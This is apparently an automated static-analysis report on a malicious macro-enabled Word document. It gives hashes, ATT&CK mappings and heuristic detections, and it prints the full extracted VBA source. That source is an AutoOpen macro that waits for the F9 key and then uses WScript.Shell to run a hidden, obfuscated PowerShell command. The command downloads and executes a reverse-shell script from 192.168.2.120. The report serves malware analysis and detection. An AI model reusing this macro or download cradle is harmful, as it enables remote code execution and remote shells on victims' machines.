Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 99812b3e0ff8a711…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2021-05-31 07:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: d5d1c51c11fad1e71849badd403dd9ca SHA-1: 6343cf133c6b456d250ce835f44b727b81209537 SHA-256: 99812b3e0ff8a711a0b430521651eb7e116eb0fb80e3ec53b8ce5d850e6c3aa5
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell to execute a PowerShell command. This command downloads and executes a script from the URL http://192.168.2.120/reverse_shell_120_4444.ps1, indicating a downloader or backdoor functionality. The obfuscated nature of the PowerShell command and the use of WScript.Shell are strong indicators of malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1550 bytes
SHA-256: 0f67c9949a91dfb21f0bfcb2f4290ba40bbf3017dad05bc4e792e80b8447782d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
#Else
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
#End If
Private Const VK_F9 = &H78



Sub AutoOpen()

    checkDay
    
End Sub


Sub checkDay()

    If Weekday(Now()) = vbTuesday Then
        MsgBox "Today is Tuesday"
        WaitUntilF9Key
        
    ElseIf Weekday(Now()) <> vbTuesday Then
        MsgBox "Today is not Tuesday"
    
    ElseIf Weekday(Now()) = vbThursday Then
        MsgBox "Today is Thursday"
        
    ElseIf Weekday(Now()) <> vbThursday Then
        MsgBox "Today is not Thursday"
        
    End If


End Sub


Sub WaitUntilF9Key()
Do Until GetAsyncKeyState(VK_F9)
    DoEvents
Loop
 Shello
End Sub


Function Shello()

  Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: c80144886866202966c3a887e09f823514363a7a0a762b62f0afea057dce3da2

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